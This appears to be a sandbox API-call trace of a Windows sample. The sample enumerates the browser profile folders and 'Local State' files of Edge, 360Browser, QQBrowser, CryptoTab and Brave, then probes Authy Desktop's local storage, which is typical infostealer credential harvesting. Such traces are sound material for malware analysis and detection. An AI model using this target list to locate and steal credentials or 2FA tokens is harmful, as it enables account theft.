[0052.870] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.870] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.870] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.870] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.870] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.870] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.870] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.870] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.870] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.871] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.871] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.872] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.872] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.872] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\360Browser\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\"
[0052.872] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\"
[0052.872] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\"
[0052.872] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State"
[0052.872] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78
[0052.872] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x9c) returned 0x67d968
[0052.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=78, lpWideCharStr=0x67d968, cchWideChar=78 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State") returned 78
[0052.872] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da10
[0052.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.873] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\360browser\\browser\\user data\\local state")) returned 0xffffffff
[0052.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da10 | out: hHeap=0x670000) returned 1
[0052.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.873] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*") returned 67
[0052.873] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\360browser\\browser\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.874] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.874] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.874] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Tencent\\QQBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\"
[0052.874] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\"
[0052.874] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\"
[0052.874] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State"
[0052.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77
[0052.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x9a) returned 0x67d968
[0052.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=77, lpWideCharStr=0x67d968, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State") returned 77
[0052.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da10
[0052.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.874] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tencent\\qqbrowser\\user data\\local state")) returned 0xffffffff
[0052.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da10 | out: hHeap=0x670000) returned 1
[0052.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.875] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\*") returned 66
[0052.875] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tencent\\qqbrowser\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.875] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.876] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.876] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\CryptoTab Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\"
[0052.876] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\"
[0052.876] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\"
[0052.876] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State"
[0052.876] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77
[0052.876] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x9a) returned 0x67d968
[0052.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=77, lpWideCharStr=0x67d968, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State") returned 77
[0052.876] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da10
[0052.876] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.876] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\cryptotab browser\\user data\\local state")) returned 0xffffffff
[0052.876] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da10 | out: hHeap=0x670000) returned 1
[0052.876] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.877] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\*") returned 66
[0052.878] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\cryptotab browser\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.878] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.878] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.878] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\BraveSoftware\\Brave-Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\"
[0052.878] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\"
[0052.878] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\"
[0052.878] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\Local State"
[0052.878] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x67d910
[0052.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=87, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87
[0052.879] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xae) returned 0x67d978
[0052.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=87, lpWideCharStr=0x67d978, cchWideChar=87 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\Local State") returned 87
[0052.879] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x67da30
[0052.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0052.879] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\bravesoftware\\brave-browser\\user data\\local state")) returned 0xffffffff
[0052.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da30 | out: hHeap=0x670000) returned 1
[0052.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.879] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\*") returned 76
[0052.879] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\bravesoftware\\brave-browser\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="\x80")) returned 0xffffffff
[0052.882] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1812c0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.882] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67d910
[0052.882] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1812a8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.882] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.882] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Authy Desktop\\Local Storage\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\"
[0052.882] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\", lpString2="*.localstorage" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\*.localstorage") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\*.localstorage"
[0052.882] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1812c0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.882] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.882] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Authy Desktop\\Local Storage\\leveldb\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\"
[0052.882] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\", lpString2="*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\*") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\*"
[0052.882] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x67d948
[0052.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d948, cbMultiByte=81, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81
[0052.882] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa2) returned 0x67d9b0
[0052.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d948, cbMultiByte=81, lpWideCharStr=0x67d9b0, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\*.localstorage") returned 81
[0052.882] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x67da60
[0052.882] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9b0 | out: hHeap=0x670000) returned 1
[0052.882] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\*.localstorage" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\authy desktop\\local storage\\*.localstorage"), lpFindFileData=0x1813f8 | out: lpFindFileData=0x1813f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="ᙰ\x18偯@`")) returned 0xffffffff
[0052.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da60 | out: hHeap=0x670000) returned 1
[0052.883] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67d9b0
[0052.883] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1813f8 | out: lpFindFileData=0x1813f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="ᙰ\x18偯@`")) returned 0
[0052.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d948 | out: hHeap=0x670000) returned 1
